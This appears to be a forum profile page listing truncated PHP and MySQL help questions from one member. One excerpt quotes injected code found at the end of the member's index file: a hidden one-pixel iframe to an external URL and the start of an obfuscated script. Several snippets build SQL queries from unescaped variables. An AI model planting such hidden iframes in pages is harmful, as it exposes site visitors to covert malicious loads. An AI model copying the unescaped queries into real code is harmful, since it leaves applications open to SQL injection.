No one has voted on any posts yet. Votes from other community members are used to determine a member's reputation amongst their peers.
hello I have a section in my website, where people can upload photos. the gallery is divied into different categories. I modified the original script so people can add a photo from anywhere in the website (before they had to go a certain category and then upload a photo to … |
|
Hi I am implementing a template system using the wrapper class in this example: [url]http://www.php.net/manual/en/stream.streamwrapper.example-1.php[/url] I use this code to get the wrapper output: [CODE] ob_start(); include("template://" . $template_name); $template .= ob_get_contents(); ob_end_clean();[/CODE] However, in some servers this code is not working, all I get is a blank page. I … |
|
Hi all, In a secured php document I have a file uploader that was only for PDFs but they want xlsx, xls, ,docx, txt, rtf and ppt file extensions. To filter the files coming in I have this: [code] $allowedExtensions = array("txt","csv","htm","html","xml", "css","doc","xls","rtf","ppt","pdf","xlsx","docx"); foreach ($_FILES as $file) { if ($file['tmp_name'] … |
|
help me to give explaination........soryyyyyy there is $HTTP_GET_VARS. |
|
Hi everyone can anybody give me detail information about mission of $_post and $_get and differences between these functions? Also can you give me information about forms and user inputs in php code? Thank you |
|
Hi, Was just wondering how do you developers check for vulnerabilities in your scripts. Apart from doing some manual testing, do you use any tools to check for vulnerabilities in your scripts like forms etc? I am trying to look for some software that i can install on computer or … |
|
Hi I am looking for a php code formatter that has to has two features: formatting arrays, so an array like this: [CODE]array ('key_of_first_value' => 'value','another_key' => 'value1', 'test_key' => 'value2');[/CODE] to this (note that the sign => is aligned among all array elements): [CODE]array ( 'key_of_first_value' => 'value', 'another_key' … |
|
Hi Basically when I try to insert the work links into an a mysql database through a php script the word changes to 'li<x>nks'. Does anyone know why? I tried to make the insert on a single page (so other functions or scripts would not affect it) but with same … |
|
Hi I am trying to add a text in php where a "<" and ">" sign exits in a string, however when I view the string I get '%3C' and '%3E' respectively. I tried most of the php functions related to html entities such as: htmlentities html_entity_decode htmlspecialchars I viewed … |
|
Hi I have a table which I am trying to pull some data out of. I am trying to select all the data where one field matches two numbers. [CODE]mysql_query ("SELECT articles.*,articles_comments.* FROM articles LEFT JOIN articles_comments ON articles.id= articles_comments.articleid WHERE articles.cat_id='$cat_id' AND articles.status='1');[/CODE] what I want to do is … |
|
Hi I am trying to add multiple file upload feature to a form. I am wondering if there is a way to upload the files before submitting the form and them when the form is submitted and the data inserted into the database, the files get uploaded to the designated … |
|
Hi I am trying to use onclick to add text to a textarea, the function I am using is: [CODE]function addtxt(input,add) { var obj=document.getElementById(input) var txt=document.createTextNode(add) obj.appendChild(txt) }[/CODE] and the line that I use to call the function - through php- is: [CODE]<a onclick=\"addtxt('post','$code');\"> <img src=\"smiles/$smile\" alt=\"$smilename\" border=\"0\" style=\"cursor: pointer;\"></a>[/CODE] … |
|
Hi I am trying to modify a class and I found this code in it: [CODE] $query = " SELECT * FROM menus WHERE show = '1'"; $id = $this->menuid; if((isset($id)) && ($id != '')) { $query .= " and menuid in($id)"; } $query .= " ORDER BY menuorder ASC"; … |
|
Hi I am trying to run this query: [CODE]mysql_query("update group_data set title='$title', desc='$title' where groupid='$groupid'");[/CODE] but the problem is that I get this error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'desc='' … |
|
hi I am not sure if this is the right section, but the files I am using in my website are written in php language. Yesterday, I try to edit my files and found at the end of the index file this code: [CODE]<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l4963660743084(l4963660743855){ … |
|
hi I have designed a php script an was wondering about a way that I do not allow the customer who buys to install it on more than one domain. I am concerned about the logic of it more than the scripting, but if there is a script available to … |
|
hi I have a table in my database that look like this: id - name - orderno the table has data in the fields of id and name but orderno is empty. I made a html form based on the data of this field, in front of each name field … |
|
Hi I am trying to get the first day of a given month and the last day. I use mktime function like so: mktime(0,0,0,7,1,2007); and got the time stamp: 1183212000 when I converted it I got: Sat, 30 Jun 2007 14:00:00 GMT which is not what I want, I wanted … |
|
hi I have a for loop that extracts information from news websites and insert them into my database. How do I make the loop stops after it successfully inserts 5 rows? |
|
hello I am trying to make a script that can upload multiple files (currently I set it to five). I made the form look like this: [CODE]$i = 1; while ($i <= 5) { $form .= "here goes the content of the form"; $i = $i + 1; }[/CODE] I … |
|
I have found while i was surfing the intent a function that shows how long a topic was posted. this is the function: [CODE]function RelativeTime($timestamp){ $difference = time() - $timestamp; $periods = array("second", "minute", "hour", "day", "week", "month", "year", "decade"); $lengths = array("60","60","24","7","4.35","12","10"); if ($difference > 0) { // this … |
|
I am not sure where to post this topic but I though this section is the right one. I have a large amount of data in a MS word file. Basically, I want to automate the posting of this data into my website through the normal form of posting topics … |
|
hi I am making a script to extract data from a table from a website using explode function and then insert the data into the database. I have stuck with foreach loop, this is how it looks: [CODE] $table_data = explode('<table cellspacing="1" cellpadding=1" width="90%" border="0" bgcolor="#EFEEEE">', $data); $end_table= explode("</table>", $table_data[1]); … |
|
Hello I was wondering if there is a class that I can use to add a bar underneath my photos which contains the site url. I found some classes that add a watermark on the photo, however I want the bar to be under the photo. Thanks in advance |
|
hello I have a gallery in my website that is coded by php. when I try to download an image in zip format I get a zipped file with a size say (150kb). when i try to open it i get the message corrupted achieve. when I open the file … |
|
hi I guess the title says it all. Is there any way that I can disable the users of my open source php code from removing the copyright line? |
|
hello I found a js that allows to use dependent drop down menus, and here it is [CODE]<script language="JavaScript"> function ShowReg(op) { document.getElementById('Car').style.display='none'; document.getElementById('Boat').style.display='none'; document.getElementById('Plane').style.display='none'; if (op == '1') { document.getElementById('Car').style.display="block"; } if (op == 2) { document.getElementById('Boat').style.display="block"; } if (op == 3) { document.getElementById('Plane').style.display="block"; } } </script> <select id="choice" … |
|
Hi I have an xml file which i am trying to display through a php script, it displays everything fine until i change the contents of the xml file to Arabic letters at which the file does not load. here is the xml file: [CODE]<?xml version="1.0"?> <studentmarks> <listName>name of the … |
|
Hello every one I have a forum written in php language. What I want is to display all the comments made by one user on a certain topic. The database had two tables "forum" and "comment". Forum table is structured as follows: id cat_id title date_time userid name post allow … |
|
Hello I am trying to add a poll function to a forum. the adding forum has radio buttons which asks the user whether he wants to add a poll or not. If he chooses yes the questions and the answers will be added to the database. I have included five … |